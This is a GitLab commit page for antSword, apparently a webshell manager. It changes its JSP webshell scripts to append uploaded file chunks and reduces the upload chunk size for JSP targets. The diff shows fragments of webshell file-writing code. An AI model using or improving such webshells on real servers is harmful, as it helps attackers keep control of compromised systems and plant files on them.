Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Submit feedback
Contribute to GitLab
Sign in / Register
Toggle navigation
A
antSword
Project
Project
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
HuangJunbo
antSword
Commits
85ac784a
Commit
85ac784a
authored
Aug 08, 2018
by
Medicean
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
fix upload file too large
parent
c6aff369
Changes
5
Hide whitespace changes
Inline
Side-by-side
Showing
5 changed files
with
14 additions
and
7 deletions
+14
-7
jsp_custom_script_for_mysql.jsp
shells/jsp_custom_script_for_mysql.jsp
+4
-2
jspx_custom_script_for_mysql.jspx
shells/jspx_custom_script_for_mysql.jspx
+1
-1
en.js
source/language/en.js
+1
-0
zh.js
source/language/zh.js
+1
-0
index.js
source/modules/filemanager/index.js
+7
-4
No files found.
shells/jsp_custom_script_for_mysql.jsp
View file @
85ac784a
...
...
@@ -22,7 +22,9 @@
4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空
ChangeLog:
Data: 2016/04/29 v1.2
v1.3
1. 修正上传文件超过1M时的bug
Date: 2016/04/29 v1.2
1. 修正修改包含结束tag的文件会出错的 bug
Date: 2016/04/06 v1.1
1. 修正下载文件参数设置错误
...
...
@@ -185,7 +187,7 @@ ChangeLog:
String h = "
01234567
89
ABCDEF
";
File f = new File(savefilePath);
f.createNewFile();
FileOutputStream os = new FileOutputStream(f);
FileOutputStream os = new FileOutputStream(f
,true
);
for (int i = 0; i < fileHexContext.length(); i += 2) {
os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
}
...
...
shells/jspx_custom_script_for_mysql.jspx
View file @
85ac784a
...
...
@@ -182,7 +182,7 @@
String h = "0123456789ABCDEF";
File f = new File(savefilePath);
f.createNewFile();
FileOutputStream os = new FileOutputStream(f);
FileOutputStream os = new FileOutputStream(f
,true
);
for (int i = 0; i < fileHexContext.length(); i += 2) {
os.write((h.indexOf(fileHexContext.charAt(i)) << 4 | h.indexOf(fileHexContext.charAt(i + 1))));
}
...
...
source/language/en.js
View file @
85ac784a
...
...
@@ -232,6 +232,7 @@ module.exports = {
upload
:
{
task
:
{
name
:
'Upload'
,
success
:
'Upload success!'
,
failed
:
(
err
)
=>
antSword
.
noxss
(
`Failed:
${
err
}
`
),
error
:
(
err
)
=>
antSword
.
noxss
(
`Error:
${
err
}
`
)
},
...
...
source/language/zh.js
View file @
85ac784a
...
...
@@ -233,6 +233,7 @@ module.exports = {
upload
:
{
task
:
{
name
:
'上传'
,
success
:
'上传成功'
,
failed
:
(
err
)
=>
antSword
.
noxss
(
`失败:
${
err
}
`
),
error
:
(
err
)
=>
antSword
.
noxss
(
`出错:
${
err
}
`
)
},
...
...
source/modules/filemanager/index.js
View file @
85ac784a
...
...
@@ -632,8 +632,11 @@ class FileManager {
// 上传单个
let
buffIndex
=
0
;
let
buff
=
[];
// 分段上传大小,默认1M
let
dataSplit
=
1024
*
1024
;
// 分段上传大小,默认0.5M(jsp 超过1M响应会出错)
let
dataSplit
=
512
*
1024
;
if
(
this
.
opts
[
'type'
].
toLowerCase
()
===
'php'
)
{
dataSplit
=
1024
*
1024
}
let
task
=
tasks
[
filePath
];
// 获取文件名
let
fileName
=
filePath
.
substr
(
filePath
.
lastIndexOf
(
'/'
)
+
1
);
...
...
@@ -659,7 +662,7 @@ class FileManager {
res
(
_b
);
}
else
{
// 上传完毕
task
.
success
(
'100%'
);
task
.
success
(
LANG
[
'upload'
][
'task'
][
'success'
]
);
toastr
.
success
(
LANG
[
'upload'
][
'success'
](
fileName
),
LANG_T
[
'success'
]);
// 刷新缓存
this
.
files
.
refreshPath
(
path
===
this
.
path
?
''
:
path
);
...
...
@@ -668,7 +671,7 @@ class FileManager {
}
}).
then
((
b
)
=>
{
// 更新进度条
task
.
update
(
`
${
parseInt
((
buffLength
-
_buff
.
length
)
/
buffLength
*
100
)}
%`
);
task
.
update
(
`
${
parseInt
((
buffLength
-
(
b
.
length
*
_buff
.
length
)
)
/
buffLength
*
100
)}
%`
);
this
.
core
.
request
(
this
.
core
.
filemanager
.
upload_file
({
path
:
path
+
fileName
,
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment